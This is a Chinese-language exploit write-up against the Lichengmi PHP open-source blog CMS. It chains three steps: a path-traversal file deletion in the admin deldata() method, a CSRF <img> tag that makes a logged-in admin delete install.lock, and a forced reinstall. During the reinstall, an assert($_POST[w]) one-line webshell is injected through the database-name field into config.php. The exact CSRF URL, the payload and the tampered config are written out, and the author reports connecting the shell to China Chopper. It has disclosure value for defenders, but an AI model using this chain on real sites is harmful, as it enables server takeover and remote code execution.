里程密PHP开源博客系统任意文件删除+csrf+重装CMS拿到webshell
跟踪到./Application/Admin/Controller/MaintainController.class.php
<?php namespace Admin\Controller; use Think\Controller; class MaintainController extends CommonController { private $path = "./Database/"; public function index(){ $this->display(); } public function doClear(){ $path = "./Application/Runtime/"; $data = $_POST['data']; $count = count($data); for ($i=0; $i <$count ; $i++) { $this->dirDel($path.$data[$i]."/"); } $this->success("清除成功"); } public function dirDel($path){ if(!is_dir($path)){ $this->error($path."并没有这个文件夹"); } $hand = opendir($path); while(($file = readdir($hand))!==false){ if($file=="."||$file=="..") continue; if(is_dir($path."/".$file)){ $this->dirDel($path."/".$file); }else{ @unlink($path."/".$file); } } closedir($hand); @rmdir($path); } public function deldata(){ $name = $_GET['name']; if(empty($name)){ $this->error("没有文件"); }else{ $result = unlink($this->path.$name); $this->myRelust($result); } } public function databackups(){ $arr = $this->my_scandir($this->path); $this->assign("list",$arr); $this->display(); } public function dobackups(){ header("Content-type: text/html; charset=utf-8"); $name = $_POST['name']?$_POST['name']:date("Y-m-d",time()); $this->Mydb(); //连接数据库 $sql=$this->sqlcreate(); $sql2=$this->sqlinsert(); $data=$sql.$sql2; $result = file_put_contents($this->path."{$name}(".time().").sql", $data); $this->myRelust($result); } //代码过多,后面的省略
我们主要看看deldata()方法,它是用来删除缓存文件的,可是出现了瑕疵,让我们有机可乘,我们来分析一下,将get传输过来的name值赋值给$name随后判断$name值是否为空,如果为空返回“没有文件”并且退出,反之执行删除$name这个文件,$this->path这个成员属性就已经被赋好值了,它的路径就是根目录下的database这个目录。
跟进./Application/Install/Controller/InstallController.class.php程序安装文件
<?php namespace Install\Controller; use Think\Controller; use Think\Db; use Think\Storage; class InstallController extends Controller{ protected function _initialize(){ if(session('step') === null){ $this->redirect('Index/index'); } if(Storage::has(MODULE_PATH . 'Data/install.lock')){ $this->error('已经成功安装了里程密,请不要重复安装!'); } } //安装第一步,检测运行所需的环境设置 public function step1(){ session('error', false); //环境检测 $env = check_env(); //目录文件读写检测 if(IS_WRITE){ $dirfile = check_dirfile(); $this->assign('dirfile', $dirfile); } //函数检测 $func = check_func(); session('step', 1); $this->assign('env', $env); $this->assign('func', $func); $this->display(); } //安装第二步,创建数据库 public function step2($db = null, $admin = null){ if(IS_POST){ //检测管理员信息 if(!is_array($admin) || empty($admin[0]) || empty($admin[1]) || empty($admin[2])){ $this->error('请填写完整管理员信息'); } else if($admin[1] != $admin[2]){ $this->error('确认密码和密码不一致'); } else { $info = array(); list($info['username'], $info['password'], $info['repassword']) = $admin; //缓存管理员信息 session('admin_info', $info); } //检测数据库配置 if(!is_array($db) || empty($db[0]) || empty($db[1]) || empty($db[2]) || empty($db[3])){ $this->error('请填写完整的数据库配置'); } else { $DB = array(); list($DB['DB_TYPE'], $DB['DB_HOST'], $DB['DB_NAME'], $DB['DB_USER'], $DB['DB_PWD'], $DB['DB_PORT'], $DB['DB_PREFIX']) = $db; //缓存数据库配置 session('db_config', $DB); //创建数据库 $dbname = $DB['DB_NAME']; unset($DB['DB_NAME']); $db = Db::getInstance($DB); $sql = "CREATE DATABASE IF NOT EXISTS `{$dbname}` DEFAULT CHARACTER SET utf8"; $db->execute($sql) || $this->error($db->getError()); } //跳转到数据库安装页面 $this->redirect('step3'); } else { session('error') && $this->error('环境检测没有通过,请调整环境后重试!'); $step = session('step'); if($step != 1 && $step != 2){ $this->redirect('step1'); } session('step', 2); $this->display(); } } //安装第三步,安装数据表,创建配置文件 public function step3(){ if(session('step') != 2){ $this->redirect('step2'); } $this->display(); //连接数据库 $dbconfig = session('db_config'); $db = Db::getInstance($dbconfig); //创建数据表 create_tables($db, $dbconfig['DB_PREFIX']); //注册创始人帐号 $admin = session('admin_info'); register_administrator($db, $dbconfig['DB_PREFIX'], $admin); //创建配置文件 $conf = write_config($dbconfig); session('config_file',$conf); if(session('error')){ //show_msg(); } else { session('step', 3); $this->redirect('Index/complete'); } } }
这里我就不一个个的说了,大概的解释下意思,从这个step2()方法讲着走,最开始就是判断POST有没有传过来值接着判断管理员信息是否填写完整,上面的判断通过之后就到了判断$admin[1]是不是等于$admin[2],如果以上的通过那么就定义一个$info数组,接着用list()列表函数来将$admin数组的值分配到$info数组,用session来缓存管理员的信息。接着是检测数据库信息是否填写完整,若填写完整就创建数据库,若上面的执行无误就跳到step3()这个方法,连接数据库,创建表,写入信息之类的,接着就是创建配置文件了,我们可以看到,在安装的时候,整个文件没有对POST传进来的值做任何过滤。
配置文件位置:./Application/Common/Conf/config.php
<?php return array( //'配置项'=>'配置值' 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => '123', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => '3306', // 端口 'DB_PREFIX' => 'blog_', // 数据库表前缀 'SHOW_PAGE_TRACE' =>false, // 'SHOW_ERROR_MSG' => false, 'MODULE_DENY_LIST' => array('Common','Runtime'), 'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式: // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式 'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置 'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!', 'ERROR_PAGE' =>'./Public/Default/error_page/error.html', );
这是配置文件的代码,返回一个数组,我们想办法插个一句话进去,
Pyload:',assert($_POST[w]) => '1',//
上面这段就是插入的pyload
具体看下面的代码咋插
<?php return array( //'配置项'=>'配置值' 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => '123',assert($_POST[w]) => '1',//', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => '3306', // 端口 'DB_PREFIX' => 'blog_', // 数据库表前缀 'SHOW_PAGE_TRACE' =>false, // 'SHOW_ERROR_MSG' => false, 'MODULE_DENY_LIST' => array('Common','Runtime'), 'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式: // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式 'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置 'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!', 'ERROR_PAGE' =>'./Public/Default/error_page/error.html', );
至于这个为啥要这么插入,相信有基础的人都知道了,我就不细说了
现在我们来实现这个漏洞,通过csrf,让管理来触发删除./Application/Install/Data/install.lock这个安装时创建的文件,接着该怎么写呢?很简单,只需要一个<img>标签足够了
<img src="http://localhost/lichengmi_2.3/index.php?m=admin&c=maintain&a=deldata&name=../Application/install/Data/install.lock"/>
就这样就可以了,前提是管理员已经登陆,接着走吧!
我将上面的图片标签写到web服务器的csrf.html上进行访问
现在我以管理员的身份登陆了。
再看看触发csrf之前./Application/Install/Data这个目录中存在的文件:
有三个文件,分别是:
Install.sql
Install.lock
Conf.tpl
访问:http://www.only-wait.cn/csrf.html就可以将install.lock删掉
我们执行下csrf那个页面,再看看data目录下:
Install.lock这个文件没有了,这就导致这套cms重装了。
刷新过后看到了安装页面,接着这里我们要用到前面写的
pyload:xxx',assert($_POST[w]) => '1',//
在数据库名这里填上pyload。
安装完成!
看看配置文件
<?php return array( //'配置项'=>'配置值' 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => 'xxx',assert($_POST[w]) => '1',//', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => '3306', // 端口 'DB_PREFIX' => 'blog_', // 数据库表前缀 'SHOW_PAGE_TRACE' =>false, // 'SHOW_ERROR_MSG' => false, 'MODULE_DENY_LIST' => array('Common','Runtime'), 'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式: // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式 'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置 'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!', 'ERROR_PAGE' =>'./Public/Default/error_page/error.html', );
这样webshell就写了进来,去看看能不能执行。
Ok,完全没问题。放进菜刀吧!